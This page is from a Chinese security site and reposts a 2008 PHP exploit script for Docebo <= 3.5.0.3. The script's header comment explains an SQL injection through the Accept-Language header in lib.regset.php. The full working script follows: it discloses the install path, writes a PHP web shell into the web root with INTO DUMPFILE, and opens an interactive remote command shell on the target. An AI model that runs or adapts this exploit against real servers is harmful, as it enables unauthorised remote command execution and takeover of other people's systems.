首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Docebo <= 3.5.0.3 (lib.regset.php) Command Execution Exploit
来源:n0b0d13s[at]gmail[dot]com 作者:EgiX 发布时间:2008-01-10  
<?

/*
-------------------------------------------------------------------
Docebo <= 3.5.0.3 (lib.regset.php) Remote Command Execution Exploit
-------------------------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://www.docebo.org/
details..: works with magic_quotes_gpc = off (if magic quotes affects also $_SERVER[] array)

[-] autoDetectRegion() function vulnerable to SQL injection in /doceboCore/lib/lib.regset.php

781. function autoDetectRegion() {
782.
783. if(!isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])) {
784. $res=0;
785. return $res;
786. }
787. $accept_language=$_SERVER["HTTP_ACCEPT_LANGUAGE"];
788. // [TODO] move the code that makes the accept language array to lib.utils
789.
790. $al_arr=explode(",", $accept_language);
791.
792. $i=0;
793. $res="";
794. while(($res == "") && ($i < count($al_arr))) {
795.
796. $bl_arr=explode(";", $al_arr[$i]);
797. $browser_language=$bl_arr[0];
798.
799. $qtxt="SELECT region_id FROM ".$this->_getListTable()." WHERE browsercode LIKE '%".$browser_language."%'"; <==
800. $q=$this->_executeQuery($qtxt);
801.
802. if (($q) && (mysql_num_rows($q) > 0)) {
803. $row=mysql_fetch_array($q);
804. $res=$row["region_id"];
805. }

an attacker cuold be inject SQL code through http accept-language header (in the query at line 799), but explode() function at
line 790 will split the injected code by comma (","), so isn't possible even a blind SQL injection with BENCHMARK() method...
this poc will try to inject some php code into docebo web directory by INTO DUMPFILE statement, this requires FILE privilege!

[-] Path disclosure at:

/doceboCore/class/class.conf_fw.php
/doceboCore/class.module/class.event_manager.php
/doceboCore/lib/lib.domxml5.php
/doceboCore/menu/menu_over.php
/doceboCms/class/class.conf_cms.php
/doceboCms/lib/lib.compose.php
/doceboCms/modules/chat/teleskill.php
/doceboCms/class/class.admin_menu_cms.php
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...\n";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1);
fclose($sock);
return $resp;
}

function get_path()
{
global $host, $path;

$packet = "GET {$path}../doceboCore/class/class.conf_fw.php HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Connection: close\r\n\r\n";

preg_match("/in <b>(.*)<\/b> on/i", http_send($host, $packet), $found);
$ret = substr($found[1], 0, strlen($found[1]) - strlen(strstr($found[1], "docebo")));
$ret.= substr($path, 1);

return $ret;
}

print "\n+------------------------------------------------------------+";
print "\n| Docebo <= 3.5.0.3 Remote Command Execution Exploit by EgiX |";
print "\n+------------------------------------------------------------+\n";

if ($argc < 3)
{
print "\nUsage....: php $argv[0] host path\n";
print "\nhost.....: target server (ip/hostname)";
print "\npath.....: path to docebo directory\n";
print "\nExample..: php $argv[0] localhost /doceboCms/";
print "\nExample..: php $argv[0] localhost /docebo/doceboLms/\n";
die();
}

$host = $argv[1];
$path = $argv[2];

$r_path = str_replace("\\", "/", get_path()); // replace "\" for windows path
$r_file = md5(time()).".php";

print "\n[-] Path disclosure: {$r_path}\n\n[-] Trying to inject php shell...\n";

$code = "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>";
$packet = "GET {$path} HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Accept-Language: %'/**/AND/**/1=0/**/UNION/**/SELECT/**/'{$code}'/**/INTO/**/DUMPFILE/**/'{$r_path}{$r_file}'/*\r\n";
$packet.= "Connection: close\r\n\r\n";
$html = http_send($host, $packet);

$packet = "GET {$path}{$r_file} HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Connection: close\r\n\r\n";
$html = http_send($host, $packet);

if (!ereg("_code_", $html)) die("\n[-] Exploit failed...\n");
else print "[-] Shell injected! Starting it...\n";

define(STDIN, fopen("php://stdin", "r"));
while(1)
{
print "\nxpl0it-sh3ll > ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$packet  = "GET {$path}{$r_file} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: ".base64_encode($cmd)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$html = http_send($host, $packet);
if (!ereg("_code_", $html)) die("\n[-] Exploit failed...\n");
$shell = explode("_code_", $html);
print "\n".$shell[1];
}
else break;
}

?>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·McAfee E-Business Server Remot
·Microsoft Message Queue POC ex
·McAfee E-Business Server Remot
·SunOS 5.10 Remote ICMP Kernel
·Microsoft VFP_OLE_Server Activ
·Evilsentinel <= 1.0.9 (multipl
·Microsoft Rich Textbox Control
·0DayDB 2.3 (delete id) Remote
·Microsoft FoxServer (vfp6r.dll
·photokron <= 1.7 (update scrip
·UploadImage/UploadScript 1.0 R
·NUVICO DVR NVDV4 / PdvrAtl Mod
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved